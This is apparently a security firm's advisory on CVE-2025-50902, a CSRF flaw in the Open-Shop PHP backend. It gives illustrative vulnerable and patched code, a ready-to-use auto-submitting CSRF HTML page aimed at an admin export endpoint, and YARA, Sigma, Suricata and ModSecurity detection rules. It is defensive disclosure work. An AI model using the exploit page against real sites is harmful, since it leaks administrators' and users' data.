CVE-2025-50902

Executive Summary

CVE-2025-50902 is a Cross-Site Request Forgery (CSRF) vulnerability in the old-peanut/wechat_applet__open_source project (Open-Shop) up to version 1.0.0. An attacker can craft a malicious HTTP POST request that, when executed by an authenticated administrator, leads to the exfiltration of sensitive information such as API keys, database credentials, or user data. The vulnerability stems from the absence of anti-CSRF tokens or origin validation in critical state-changing endpoints. No public exploit code or patch exists, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low active exploitation, but the risk is elevated for any deployment using default configurations.

Supply Chain & Package Security

This project is a PHP-based open-source WeChat mini-program backend. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it may be pulled via Composer or direct Git clone. Users should verify the integrity of any downloaded source and consider forking the repository to apply custom patches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Sensitive data can be fully exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires user interaction but can lead to significant data leakage.

Deep Dive & Mechanics

The Open-Shop application does not implement CSRF protection mechanisms such as synchronizer tokens, SameSite cookies, or Referer/Origin header validation. The vulnerable endpoints accept POST requests without verifying the request’s origin. An attacker can host a malicious HTML page that, when visited by an authenticated admin, automatically submits a crafted POST request to the Open-Shop server. This request can trigger actions like exporting database backups, revealing configuration files, or disclosing user lists.

The core issue lies in the index.php or equivalent router that processes POST data without checking for a nonce. For example, an endpoint like /admin/export might dump the entire database to a file accessible via HTTP.

Vulnerable vs. Patched Code

Vulnerable Code (example from admin/export.php):

<?php
// No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = $db->query("SELECT * FROM users");
    file_put_contents('/tmp/export.json', json_encode($data));
    echo "Export completed.";
}
?>

Patched Code (recommended):

<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF validation failed.");
    }
    $data = $db->query("SELECT * FROM users");
    file_put_contents('/tmp/export.json', json_encode($data));
    echo "Export completed.";
}
?>

Additionally, the form that triggers the export should include:

<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Host a malicious HTML page on an attacker-controlled server.
2. Craft Payload: Create a form that auto-submits to the vulnerable endpoint.
3. Deliver: Send the link to an authenticated admin via phishing email or social media.

Malicious HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<form id="csrf" action="http://target-shop.com/admin/export" method="POST">
    <input type="hidden" name="action" value="export_all">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Expected Outcome: The admin’s browser sends a POST request with their session cookie, causing the server to export sensitive data to a publicly accessible path (e.g., /tmp/export.json). The attacker then retrieves the file.

Blue Team (Defender)

1. Detection: Monitor for unexpected POST requests to sensitive endpoints without a valid Referer header.
2. Prevention: Implement CSRF tokens, validate Origin/Referer headers, and use SameSite cookies.
3. Honeypot: Deploy a fake endpoint that logs all POST requests and alerts on anomalies.

WAF Rule (ModSecurity):

SecRule REQUEST_METHOD "^POST$" "chain,id:1001,deny,msg:'CSRF attempt detected'"
SecRule REQUEST_HEADERS:Referer "!^https?://(www\.)?target-shop\.com/" "t:none"

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /admin/export, /config/dump, or similar endpoints without a Referer header matching the application’s domain.
• File System: Unexpected files in /tmp/ or web-accessible directories named export.json, backup.sql, or config.txt.
• Logs: Server access logs showing POST requests from unusual User-Agents or IPs not associated with normal admin activity.
• Session: Multiple rapid POST requests from the same session to state-changing endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_50902_CSRF_Exploit {
    meta:
        description = "Detects malicious HTML used to exploit CSRF in Open-Shop"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50902"
    strings:
        $form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/export["']/
        $submit = /document\.getElementById\(['"][^'"]*['"]\)\.submit\(\)/
        $hidden = /<input[^>]*type=["']hidden["'][^>]*name=["']action["'][^>]*>/
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-50902 CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Open-Shop admin endpoints without proper Referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "/admin/export"
            - "/config/dump"
            - "/api/backup"
    filter:
        cs-referer|contains: "target-shop.com"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from whitelisted IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-50902 CSRF Attempt to Open-Shop Admin"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/export"; nocase; http.referer; content:!"target-shop.com"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable any admin endpoints that do not require authentication or CSRF protection. Restrict access to admin panels via VPN or IP whitelisting.
2. Short-term: Implement CSRF tokens using a library like csrf-protect for PHP. Validate the Origin and Referer headers on all POST requests.
3. Long-term: Fork the repository and add proper CSRF protection. Submit a pull request to the original project if the vendor becomes responsive.
4. Monitoring: Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
5. User Training: Educate administrators about phishing risks and the importance of not clicking untrusted links while logged into the admin panel.

Valters IT
Securing digital frontiers with precision and expertise.